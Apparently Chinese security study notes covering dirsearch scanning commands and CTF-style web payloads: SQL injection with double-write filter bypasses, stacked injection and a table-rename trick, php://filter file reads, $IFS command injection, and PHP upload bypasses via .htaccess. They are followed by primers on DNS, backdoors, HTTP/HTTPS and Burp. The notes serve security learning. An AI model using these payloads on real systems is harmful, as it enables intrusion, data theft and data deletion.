杂记

Dirsearch

常见Payload
1.扫描单个URL,并限制线程数和扩展名:

1
python dirsearch.py -u http://example.com -t 10 -e php,asp --exclude-extensions=html

该命令将对 http://example.com 进行目录扫描,使用最多 10 个线程并仅检查扩展名为 php 和 asp 的路径,同时排除扩展名为 html 的路径。

2.从URL列表文件中批量扫描:

1
python dirsearch.py -l urls.txt -t 5 -e php

该命令将从 urls.txt 文件中读取目标URL列表,并使用最多 5 个线程对每个URL进行目录扫描,仅检查扩展名为 php 的路径。

3.使用自定义字典和深度递归扫描:

1
python dirsearch.py -u http://example.com -w custom-wordlist.txt -r --deep-recursive

该命令将对 http://example.com 进行目录扫描,使用自定义的单词列表文件 custom-wordlist.txt,并启用深度递归扫描,即在每个目录的所有深度上执行递归扫描。

4.在请求中使用自定义HTTP头:

1
python dirsearch.py -u http://example.com -H "X-Custom-Header: Value" -H "Authorization: Bearer token"

该命令将对 http://example.com 进行目录扫描,并在每个请求中包含自定义的HTTP头,如 X-Custom-Header 和 Authorization。

5.指定线程数和延迟时间:

1
python dirsearch.py -u http://example.com -t 20 --delay 0.5

上述命令将使用20个线程并设置每个请求之间的延迟为0.5秒。

6.使用自定义的请求头和超时时间:

1
python dirsearch.py -u http://example.com -H "Custom-Header: value" --timeout 10

这个命令将在每个请求中添加一个自定义的请求头 “Custom-Header: value”,并将超时时间设置为10秒。

7.包含和排除特定状态码:

1
python dirsearch.py -u http://example.com -i 200,302 -x 404,500

上述命令将只包含状态码为200和302的响应,并排除状态码为404和500的响应。

8.使用代理进行扫描:

1
python dirsearch.py -u http://example.com -p http://127.0.0.1:8080

这个命令将通过指定的HTTP代理(例如Burp Suite)对目标URL进行扫描。

9.保存输出到文件中:

1
python dirsearch.py -u http://example.com -o output.txt

上述命令将扫描结果输出到指定的文件 output.txt。

10.使用代理链进行扫描:

1
python dirsearch.py -u http://example.com -p http://proxy1:8080 -p http://proxy2:8080

上述命令将通过两个代理服务器 proxy1 和 proxy2 进行目标URL的扫描。

11.从标准输入读取URL:

1
cat urls.txt | python dirsearch.py --stdin -t 10

这个命令通过管道从 urls.txt 中读取URL,并使用最多 10 个线程对每个URL进行目录扫描。

12.启用递归扫描和重定向跟随:

1
python dirsearch.py -u http://example.com -r -F

上述命令将启用目录的递归扫描,并且在扫描时跟随HTTP重定向。

13.排除指定大小范围的响应:

1
python dirsearch.py -u http://example.com --exclude-sizes 0-100B,500KB-1MB

该命令将排除大小在 0 到 100 字节以及 500千字节到 1 兆字节范围内的响应。

14.设定最大运行时间和最大重试次数:

1
python dirsearch.py -u http://example.com --max-time 300 --retries 5

上述命令将设置最长运行时间为 300 秒,并允许失败请求最多重试 5 次。

15.指定自定义的User-Agent头:

1
python dirsearch.py -u http://example.com --user-agent "Custom User Agent"

上述命令将在HTTP请求中指定自定义的User-Agent头。

16.使用代理认证进行扫描:

1
python dirsearch.py -u http://example.com -p http://proxy.example.com --proxy-auth "username:password"

这个命令将使用指定的代理服务器 proxy.example.com 进行扫描,并提供代理认证的用户名和密码。

17.启用递归扫描并限制最大递归深度:

1
python dirsearch.py -u http://example.com -r -R 5

上述命令将启用递归目录扫描,并限制最大递归深度为5层。

18.排除特定文本出现的响应:

1
python dirsearch.py -u http://example.com --exclude-text "Not Found" --exclude-text "Error"

该命令将排除响应中包含指定文本(如 “Not Found” 和 “Error”)的路径。

19.设置最小和最大响应长度:

1
python dirsearch.py -u http://example.com --min-response-size 1000 --max-response-size 50000

查字段值:1’ ununionion selselectect 1,2,flag frfromom ctf.Flag#

查表名:1’ ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=‘ctf’#

查数据库名:1’ ununionion selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata #

双写绕过:1’ ununionion selselectect 1,2,3#

接下来爆字段位置,输入1’ union select 1,2,3#,发现过滤

使用双写绕过1’ oorrder bbyy 1#,得到字段数为3

绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht,这些后缀名都可以被当做php文件执行(需要配置文件里面的支持)

1、例如Apache的 httpd.conf 中有如下配置代码:

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

2、或者.htaccess文件内容:

SetHandler application/x-httpd-php

意思是设置当前所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当做PHP执行。不符合则报错。

phtml一般是指嵌入了php代码的html文件,但是同样也会作为php解析

PHT文件是一个HTML页面,其中包括一个PHP脚本
最后还得访问这个文件:一般文件上传后都会放在url/upload/文件名

hackbar插件

1
2
3
	Load URL(加载网址):将网址“框”下来
Split URL(切分网址):自动切分网址,便于快速找出需要修的地方
Execute(执行):相当于F5

在SQL中,分号(;)是用来表示一条sql语句的结束

构造select * from Flag这样的语句,其中星号()用来代替其他字段,SELECT语句会返回数据表的所有字段值,然而当我们直接传递的时候却没有任何回显信息收集部分

flag 就藏在 flag.php 文件中,所以推测采用的是 PHP 伪协议:php://filter – 对本地磁盘文件进行读写

1
2
?file=php://filter/read=convert.base64-encode/resource=flag.php
# (base64解密就可以看到内容,这里如果不进行base64_encode,则被include进来的代码就会被执行,导致看不到源代码)
1
2
3
4
?ip=127.0.0.1|cat$IFS$9index.php

# $IFS是一个环境变量,用于设置shell中的字段分隔符。在这里,它被用作特殊字符
# $9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串

查询数据库名,输入

1
1’ union select 1,2#

测试字段数,测试到 3 时报错,说明只有两个字段

1
1' order by 1 #    
1
1' order by 3 #    

直接堆叠注入爆破数据库

1
0';show databases;#

查看words,输入输入

1
1’; show columns from `words`; #

查看表,输入

1
1’;show tables;#

发现flag,因为查看flag的回显会出现在words里,为了回显在flag所属的表,而发现alter、rename又没有被过滤,则试着进行表和字段的重命名输入

1
1’;rename table words to word;rename table 1919810931114514 to words;alter table words change flag id varchar(100);show columns from words;#

联合查询

1
1' union select 1,2,3# 

查询数据库名

1
1’ union select 1,2,database()#

0x00 堆叠注入定义

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。

0x01 堆叠注入原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

0x02 堆叠注入的局限性

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

img

此图是从原文中截取过来的,因为我个人的测试环境是php+mysql,是可以执行的,此处对于mysql/php存在质疑。但个人估计原文作者可能与我的版本的不同的原因。虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

Day1 概念名词

1、域名

  1. 什么是域名?
1
2
相当于网站的名字维基百科对域名的解释是:互联网上某一台计算机或计算机组的名称,用于在数据传输时标识计算机的电子方位(有时也指地理位置)。
网域名称系统(Domain Name System)有时也简称为域名(DNS),是互联网的一项核心服务,它作为可以将域名和 IP 地址相互映射的一个分布式数据库,能够使人更方便地访问互联网,而不用去记住能够被机器直接读取的 IP 地址数据串。
  1. 域名在哪里注册?
1
2
3
4
5
6
1.Godaddy
2.Gandi
3.Hover
4.Namesilo
5.Namecheap
6.万网
  1. 什么是二级域名多级域名?
1
2
3
1.顶级域名:又叫一级域名,一串字符串中间一个点隔开,例如baidu.com。顶级域名是互联网DNS等级之中的最高级的域,它保存于DNS根域的名字空间中。
2.二级域名:实际上就是一个一级域名以下的主机名,一串字符串中间两个“.”隔开,例如www.baidu.com。二级域名就是最靠近顶级域名左侧的字段。
3.三级域名:二级域名的子域名,特征是包含三个“.”,例如___.___.baidu.com...
  1. 域名发现对于安全测试意义?
1
进行渗透测试时,其主域名找不到漏洞时,就可以尝试去测试收集到的子域名,有可能测试子域名网站时会有意向不到的效果,然后可以由此横向到主网站。

2、DNS

  1. 什么是DNS?
1
域名系统(Domain Name System,DNS)是Internet上解决网上机器命名的一种系统。 就像拜访朋友要先知道别人家怎么走一样,Internet上当一台主机要访问另外一台主机时,必须首先获知其地址,TCP/IP中的IP地址是由四段以“.”分开的数字组成(此处以IPv4的地址为例,IPv6的地址同理),记起来总是不如名字那么方便,所以,就采用了域名系统来管理名字和IP的对应关系。
  1. 本地Hosts与DNS的关系?
1
2
3
Hosts文件主要作用是定义IP地址和主机名的映射关系,是一个映射IP地址和主机名的规定。
Hosts是一个没有扩展名的系统文件,可以用记事本等工具打开,其作用就是将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”,当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从Hosts文件中寻找对应的IP地址,一旦找到,系统会立即打开对应网页,如果没有找到,则系统会再将网址提交DNS域名解析服务器进行IP地址的解析。
浏览器访问网站,要首先通过DNS服务器把要访问的网站域名解析成一个唯一的IP地址,之后,浏览器才能对此网站进行定位并且访问其数据。

如何查看本地Hosts文件:

  1. Win + R:打开运行输入drivers

  2. 输入:c:\windows\system32\drivers\etc

  3. 选择使用记事本或者Notepad、Vs Code 等编程软件打开

  4. CDN是什么?与DNS的关系?

1
2
3
4
5
6
CDN的全称是Content DeliveryNetwork,即内容分发网络。
CDN的基本思路:是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输的更快、更稳定。

通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网络,CDN系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息将用户的请求重新导向离用户最近的服务节点上(单纯只使用DNS解析,直接PING就会显示出自己的真实IP,如果又使用CDN,PING出来的IP就不是用户的真实IP而是CDN服务器的IP节点。需要绕过CDN后去找真实IP地址。

使用CDN的目的:是使用户可就近取得所需内容,解决Internet网络拥挤的状况,提高用户访问网站的响应速度。

通过超级ping的网站可以看到CDN的解析情况https://www.ping.cn/ping/cdivtc.com

img

  1. 常见的DNs安全攻击有哪些?
  • DDOS
1
DDoS攻击也叫做分布式拒绝服务攻击,可以使很多的计算机在同一时间遭受到攻击,使攻击的目标无法正常使用。攻击者可以伪造自己的DNS服务器地址,同时发送大量请求给其他服务器。其他服务器的回复会被发送到被伪造服务器的真实地址,造成该服务器无法处理请求而崩溃。攻击者同样可以通过利用DNS协议中存在的漏洞,恶意创造一个载荷过大的请求,造成目标DNS服务器崩溃。
  • DNS缓存中毒:
1
DNS缓存中毒攻击者给DNS服务器注入非法网络域名地址,如果服务器接受这个非法地址,那说明其缓存就被攻击了,而且以后响应的域名请求将会受黑客所控。当这些非法地址进入服务器缓存,用户的浏览器或者邮件服务器就会自动跳转到DNS指定的地址。这种攻击往往被归类为域欺骗攻击(pharming attack),由此它会导致出现很多严重问题。首先,用户往往会以为登陆的是自己熟悉的网站,而它们却并不是。与钓鱼攻击采用非法URL不同的是,这种攻击使用的是合法的URL地址。
  • 域名劫持(DNS重定向):
1
域名劫持是通过攻击域名解析服务器(DNS),或伪造域名解析服务器(DNS)的方法,把目标网站域名解析到错误的地址从而实现用户无法访问目标网站的目的。域名劫持一方面可能影响用户的上网体验,用户被引到假冒的网站进而无法正常浏览网页,而用户量较大的网站域名被劫持后恶劣影响会不断扩大;另一方面用户可能被诱骗到冒牌网站进行登录等操作导致泄露隐私数据。
  • DNS查询嗅探:
1
2
3
攻击者主要利用对DNS的配置信息获取网络环境的信息,为之后的攻击做好的准备。

  针对这些情况,我们需要对DNS服务器需要采取特别的安全保护措施,在防火墙网络中,分开设置内部DNS服务器和外部DNS服务器,连接外部服务的外部DNS服务器上不留有对外禁止访问的内部网络系统的服务器,做到内外网络服务器分割。
  • ARP欺骗:
1
2
3
ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目,造成网络中断或中间人攻击。ARP攻击主要是存在于局域网网络中,局域网中若有一台计算机感染ARP病毒,则感染该ARP病毒的系统将会试图通过”ARP欺骗”手段截获所在网络内其它计算机的通信信息,并因此造成网内其它计算机的通信故障。

  ARP欺骗通常是在用户局网中,造成用户访问域名的错误指向。如果IDC机房也被ARP病毒入侵后,则也可能出现攻击者采用ARP包压制正常主机、或者压制DNS服务器,以使访问导向错误指向的情况。
  • 本机劫持:
1
  本机的计算机系统被木马或流氓软件感染后,也可能会出现部分域名的访问异常。

3、 脚本语言

常见脚本语言有哪些?

1
2
3
一种介乎于 HTML 和诸如 JAVA 、 Visual Basic 、 C++ 等编程语言之间的一种特殊的语言。
尽管它更接近后者,但它却不具有编程语言复杂、严谨的语法和规则。
常见的脚本语言有:Python、JavaScript、Asp (逐渐淘汰,基本都是小站点在使用)、Aspx、Php (目前比较流行)javaweb、 pl、cgi等

\2. 不同脚本类型与安全漏洞的关系?

  • 不同的脚本语言的编写规则不一样,程序产生的漏洞自然也不一样(代码审计)。

\3. 漏洞挖掘代码审计与脚本类型的关系?

  • 漏洞挖掘代码审计:要熟悉相关代码和相关逻辑机制

4、后门

  1. 什么是后门?有那些后门?
1
2
在信息安全领域,后门是指绕过安全控制而获取对程序或系统访问权的方法。
后门的最主要目的就是方便以后再次秘密进入或者控制系统。

后门的分类

1
2
3
4
5
6
7
8
9
10
11
12
1.网页后门 :
   
此类后门程序一般都是服务器上正常 的web服务来构造自己的连接方式,比如现在非常流行的ASP、cgi脚本后门等。

2.线程插入后门:
    利用系统自身的某个服务或者线程,将后门程序插入到其中,具体原理原来《黑客防线》曾具体讲解过,感兴趣的朋友可以查阅。这也是现在最流行的一个后门技术。

3.扩展后门:
    所谓的“扩展”,是指在功能上有大的提升,比普通的单一功能的后门有很强的使用性,这种后门本身就相当于一个小的安全工具包,能实现非常多的常驻见安全功能,适合新手使用————但是,功能越强,个人觉得反而脱郭后门“隐蔽”的初衷,具体看法就看各位使用都的喜好了。

4.C/S后门(客户端服务器后门):
    和传统的木马程序类似的控制方法,采用“客记端/服务端”的控制方式,通过某种特定的访问方式来启动后门进而控制服务器。
  1. 后门在安全测试中的实际意义?
1
2
3
4
5
6
7
方便下次更方便的进来。

获取到相关权限之后,后门相当于一个管道,便于操作。

即使管理员通过改变所有密码之类的方法来提高安全性,仍然能再次侵入,使再次侵入被发现的可能性减至最低。

大多数后门设法躲过日志,大多数情况下即使入侵者正在使用系统也无法显示他已在线。
  1. 关于后门需要了解那些?(玩法,免杀)
1
2
3
4
5
6
7
8
9
10
玩法(创建后门之后我们可以怎么样操作?)
网站后门:便于控制网站
软件后门:用于控制
服务器后门:可以进行脱库、盗取信息

免杀技术全称为反杀毒技术Anti Anti-Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。
由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。
其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。

后门需要掌握的核心技能,防止杀毒软件检查到

5、web

  1. web的组成框架模型?
  • WEB的组成框架模型:网站原码、操作系统、中间件(搭建平台,提供服务的)、数据库。

img

  1. 架构漏洞安全测试的简要测试
1
2
3
4
5
6
7
8
9
10
11
通信层
主要测试通信协议的安全,系统开放的端口,其中操作系统提供网络层和数据链路层协议,存在问题的可能性较小,一般关注开源协议已存在漏洞即可,无需重点关注。应用层服务与协议一般由产品形态决定,产品中可以自定义配置相关协议与参数,需要重点关注与测试。

应用层
应用层包含开发人员开发代码,为整个安全测试的核心模块。主要包括web安全测试,源码安全测试。其中web安全测试从web访问服务的维度,偏向黑盒,进行安全测试。源码安全测试从代码的维度,偏向白盒,进行安全测试。

系统层
主要测试操作系统安全,数据库服务安全,web服务器安全,以及其他一些中间件的安全。

管理层
主要包括产品资料的安全测试,安全策略制定,协调各个层面的安全测试以及安全风险的整体评估。
  1. 为什么要从web界面为主
1
2
3
因为web使用方面广 。

从WEB方向先入手,一步一步的获取最高权限。

6、web相关漏洞

img

Day2 数据包拓展

1、http/https数据包

●HTTP协议是什么?

1
2
3
HTTP协议是超文本传输协议的缩写,英文是Hyper Text Transfer Protocol。它是从WEB服务器传输超文本标记语言(HTML)到本地浏览器的传送协议。
设计HTTP最初的目的是为了提供一种发布和接收HTML页面的方法。
HTPP有多个版本,目前广泛使用的是HTTP/1.1版本。

**●**HTTP原理

1
2
HTTP是一个基于TCP/IP通信协议来传递数据的协议,传输的数据类型为HTML 文件,、图片文件, 查询结果等。
HTTP协议一般用于B/S架构()。浏览器作为HTTP客户端通过URL向HTTP服务端即WEB服务器发送所有请求。

**●**HTTP特点

1
2
3
4
5
6
7
8
9
http协议支持客户端/服务端模式,也是一种请求/响应模式的协议。

简单快速:客户向服务器请求服务时,只需传送请求方法和路径。请求方法常用的有GET、HEAD、POST。

灵活:HTTP允许传输任意类型的数据对象。传输的类型由Content-Type加以标记。

无连接:限制每次连接只处理一个请求。服务器处理完请求,并收到客户的应答后,即断开连接,但是却不利于客户端与服务器保持会话连接,为了弥补这种不足,产生了两项记录http状态的技术,一个叫做Cookie,一个叫做Session。

无状态:无状态是指协议对于事务处理没有记忆,后续处理需要前面的信息,则必须重传。

**●**URI和URL的区别

1
2
3
4
5
6
7
HTTP使用统一资源标识符(Uniform Resource Identifiers, URI)来传输数据和建立连接。

URI:Uniform Resource Identifier 统一资源标识符
URL:Uniform Resource Location 统一资源定位符
URI 是用来标示 一个具体的资源的,我们可以通过 URI 知道一个资源是什么。

URL 则是用来定位具体的资源的,标示了一个具体的资源位置。互联网上的每个文件都有一个唯一的URL。

**●**HTTP报文组成

  1. 1. 请求行:包括请求方法、URL、协议/版本
    2. 请求头(Request Header)
    3. 请求正文
    
    1
    2
    3
    4
    5
    6
    7

    2.

    ![image.png](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622351999792-48a14997-ba55-48d6-bccf-5e7cff123fce.png?x-oss-process=image%2Fformat%2Cwebp%2Fresize%2Cw_450%2Climit_0)

    #### **●**响应报文构成

    1 状态行 2 响应头 3 响应正文
1
2
3
4
5

![image.png](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622352005270-f279fd02-7fee-4076-ab1c-d4b5749e301a.png?x-oss-process=image%2Fformat%2Cwebp%2Fresize%2Cw_450%2Climit_0)

#### **●**常见请求方法

GET:请求指定的页面信息,并返回实体主体。
POST:向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。
HEAD:类似于get请求,只不过返回的响应中没有具体的内容,用于获取报头
PUT:从客户端向服务器传送的数据取代指定的文档的内容。
DELETE:请求服务器删除指定的页面。

1
2
3
4
5
6
7
8
9
10
11

##### **get请求**

![image.png](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622352005311-d1d635ef-9e78-413b-b034-4cf5e442f53b.png?x-oss-process=image%2Fformat%2Cwebp%2Fresize%2Cw_450%2Climit_0)

##### **post请求**

![image.png](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622351999710-b2f8274c-36b5-4739-8878-e5a5fb573629.png?x-oss-process=image%2Fformat%2Cwebp%2Fresize%2Cw_450%2Climit_0)

##### **post和get的区别**

都包含请求头请求行,post多了请求body。
get多用来查询,请求参数放在url中,不会对服务器上的内容产生作用。post用来提交,如把账号密码放入body中。
GET是直接添加到URL后面的,直接就可以在URL中看到内容,而POST是放在报文内部的,用户无法直接看到。
GET提交的数据长度是有限制的,因为URL长度有限制,具体的长度限制视浏览器而定。而POST没有。

1
2
3

##### **响应状态码**

访问一个网页时,浏览器会向web服务器发出请求。此网页所在的服务器会返回一个包含HTTP状态码的信息头用以响应浏览器的请求。
状态码分类:
1XX- 信息型,服务器收到请求,需要请求者继续操作。
2XX- 成功型,请求成功收到,理解并处理。
3XX - 重定向,需要进一步的操作以完成请求。
4XX - 客户端错误,请求包含语法错误或无法完成请求。
5XX - 服务器错误,服务器在处理请求的过程中发生了错误。

1
2
3

##### **常见状态码**

200 OK - 客户端请求成功
301 - 资源(网页等)被永久转移到其它URL
302 - 临时跳转
400 Bad Request - 客户端请求有语法错误,不能被服务器所理解
401 Unauthorized - 请求未经授权,这个状态代码必须和WWW-Authenticate报头域一起使用
404 - 请求资源不存在,可能是输入了错误的URL
500 - 服务器内部发生了不可预期的错误
503 Server Unavailable - 服务器当前不能处理客户端的请求,一段时间后可能恢复正常。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

##### **为什么要用https?**



实际使用中,绝大说的网站现在都采用的是https协议,这也是未来互联网发展的趋势。下面是通过wireshark抓取的一个博客网站的登录请求过程。

![img](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622351999972-3b2906df-6d12-42c1-9925-0fc70103e928.png)



可以看到访问的账号密码都是明文传输, 这样客户端发出的请求很容易被不法分子截取利用,因此,HTTP协议不适合传输一些敏感信息,比如:各种账号、密码等信息,使用http协议传输隐私信息非常不安全。

##### **一般http中存在如下问题**

请求信息明文传输,容易被窃听截取。
数据的完整性未校验,容易被篡改
没有验证对方身份,存在冒充危险

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

##### **什么是HTTPS?**

为了解决上述HTTP存在的问题,就用到了HTTPS。

HTTPS 协议(HyperText Transfer Protocol over Secure Socket Layer):一般理解为HTTP+SSL/TLS,通过 SSL证书来验证服务器的身份,并为浏览器和服务器之间的通信进行加密。

##### **那么SSL又是什么?**

SSL(Secure Socket Layer,安全套接字层):1994年为 Netscape 所研发,SSL 协议位于 TCP/IP 协议与各种应用层协议之间,为数据通讯提供安全支持。



TLS(Transport Layer Security,传输层安全):其前身是 SSL,它最初的几个版本(SSL 1.0、SSL 2.0、SSL 3.0)由网景公司开发,1999年从 3.1 开始被 IETF 标准化并改名,发展至今已经有 TLS 1.0、TLS 1.1、TLS 1.2 三个版本。SSL3.0和TLS1.0由于存在安全漏洞,已经很少被使用到。TLS 1.3 改动会比较大,目前还在草案阶段,目前使用最广泛的是TLS 1.1、TLS 1.2。



##### **SSL发展史(互联网加密通信)**

1994年NetSpace公司设计SSL协议(Secure Sockets Layout)1.0版本,但未发布。
1995年NetSpace发布SSL/2.0版本,很快发现有严重漏洞
1996年发布SSL/3.0版本,得到大规模应用
1999年,发布了SSL升级版TLS/1.0版本,目前应用最广泛的版本
2006年和2008年,发布了TLS/1.1版本和TLS/1.2版本

1
2
3
4
5

##### **浏览器在使用HTTPS传输数据的流程是什么?**

![image.png](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622352000732-7741fa61-72b9-4a59-8f34-73a7c93618b0.png?x-oss-process=image%2Fformat%2Cwebp)

首先客户端通过URL访问服务器建立SSL连接。
服务端收到客户端请求后,会将网站支持的证书信息(证书中包含公钥)传送一份给客户端。
客户端的服务器开始协商SSL连接的安全等级,也就是信息加密的等级。
客户端的浏览器根据双方同意的安全等级,建立会话密钥,然后利用网站的公钥将会话密钥加密,并传送给网站。
服务器利用自己的私钥解密出会话密钥。
服务器利用会话密钥加密与客户端之间的通信。

1
2
3

##### HTTPS的缺点

HTTPS协议多次握手,导致页面的加载时间延长近50%;
HTTPS连接缓存不如HTTP高效,会增加数据开销和功耗;
申请SSL证书需要钱,功能越强大的证书费用越高。
SSL涉及到的安全算法会消耗 CPU 资源,对服务器资源消耗较大。

1
2
3
4
5
6
7
8

##### **总结HTTPS和HTTP的区别**

- HTTPS是HTTP协议的安全版本,HTTP协议的数据传输是明文的,是不安全的,HTTPS使用了SSL/TLS协议进行了加密处理。
- http和https使用连接方式不同,默认端口也不一样,http是80,https是443。

![image.png](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622351185970-116d66cc-4c92-4357-a90a-8da4b4a724e2.png?x-oss-process=image%2Fformat%2Cwebp%2Fresize%2Cw_772%2Climit_0)

Request 请求数据包
Reponse 相应数据包

1
2
3

![image.png](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622351304043-6cdce93e-612c-419c-84e5-d4a7e38ae49e.png?x-oss-process=image%2Fformat%2Cwebp%2Fresize%2Cw_801%2Climit_0)

#Requeset 请求数据包
#Proxy 代理服务器
#Reponse 相应数据包
代理的出现在接受数据包和发送数据包的时候提供了修改数据包的机会

1

通信过程

1.浏览器建立与web服务器之间的连接
2.浏览器将请求数据打包(生成请求数据包)并发送到web服务器
3.web服务器将处理结果打包(生成响应数据包)并发送给浏览器

4.web服务器关闭连接

总结:
建立连接——>发送请求数据包——>返回响应数据包——>关闭连接

数据格式
请求数据包包含什么
1.请求行:请求类型/请求资源路径、协议的版本和类型
2.请求头:一些键值对,一般由w3c定义,浏览器与web服务器之间都可以发送,表示特定的某种含义

3.【空行】请求头与请求体之间用一个空行隔开;

4.请求体:要发送的数据(一般post方式会使用);
例:userName=123&password=123&returnUrl=/

1
2
3

##### http与https的区别

http通信过程

建立连接—>发送请求数据包—>返回响应数据包——>关闭连接1.浏览器建立与web服务器之间的连接
1.浏览器建立与web服务器之间的连接
2.浏览器将请求数据打包(生成请求数据包)并发送到web服务器
3.web服务器将处理结果打包(生成响应数据包)并发送给浏览器
4.web服务器关闭连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

### 2、windows安装burp

参考文档

配置Java环境

https://www.runoob.com/java/java-environment-setup.html

安装burp



### 3、burp代理设置

![img](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622361703221-db163ed6-2786-4863-b0f6-91a2ac170ebe.png)

![img](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622361749422-69ad9e29-194f-4c03-892a-feead9dec183.png)

**第三方查询信息平台**

http://ip.chinaz.com/

修改站长之家的返回信息

![image.png](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622363323304-b57790ef-2191-4a2e-a70a-0b34e7cdf117.png?x-oss-process=image%2Fformat%2Cwebp%2Fresize%2Cw_937%2Climit_0)

##### **通过修改数据包改动页面上的信息**

修改之前的数据包

![image.png](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622363377112-3d2ba263-5b89-414c-a5da-2740293003c5.png?x-oss-process=image%2Fformat%2Cwebp)

![img](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622363377112-3d2ba263-5b89-414c-a5da-2740293003c5.png)

在修改的数据包不止一个是站长之家的信息还有百度地图的信息是为了获取我们Ip地址



我们修改user-agent信息把他改为111111

![img](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622363712056-ce9cb946-88e0-4d91-8920-63002db4cf76.png)

这个操作没得任何的意义只是证明是网站是通过数据包访问

修改kali的网络源
cat >/etc/apt/sources.list <<EOF

See https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/

#deb http://http.kali.org/kali kali-rolling main contrib non-free

Additional line for source packages

deb-src http://http.kali.org/kali kali-rolling main contrib non-free

#deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib

deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

EOF

安装火狐中文环境
apt install firefox-esr-l10n-zh-cn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

### 4、burp抓取https数据包

第一步在burp中将证书导出到本地

![image.png](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622443869019-581d9452-1290-4a0a-8b9a-f2bde7da5b67.png?x-oss-process=image%2Fformat%2Cwebp)

第二步

![image.png](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622443894138-03beeab0-f0c6-4f87-aca3-e6e1e3b7e472.png?x-oss-process=image%2Fformat%2Cwebp)

第三步

![img](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622444024139-3fbf1b88-37bc-4626-b521-3851e208a2e1.png)

第四步

![img](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622445298967-7190ae07-37f0-468f-a1f9-8b8de52361fb.png)

![image.png](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622445258297-1b85797a-3193-4dd2-b830-347190f65366.png?x-oss-process=image%2Fformat%2Cwebp)

![image.png](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622445393532-123efeb1-1108-4af7-aa29-efe58b9da6df.png?x-oss-process=image%2Fformat%2Cwebp)

##### 5、burp抓取APP数据包

## Day3 搭建数据安全拓展

### 1、涉及的知识点

- 常见搭建平台脚本启用
- 域名旧目录解析安全问题
- 常见文件后缀解析对应安全
- 常见安全测试中的安全防护
- WEB后门与用户及文件权限

### 2、常见的问题

#ASP,PHP,ASPx,JSP,PY,JAVAWEB等环境

#WEB源码中敏感文件
后台路径,数据库配置文件,备份文件等

#ip或域名解析wEB源码目录对应下的存在的安全问题
域名访问,IP访问(结合类似备份文件目录)

#脚本后缀对应解析(其他格式可相同-上传安全)
#存在下载或为解析问题

#常见防护中的IP验证,域名验证等

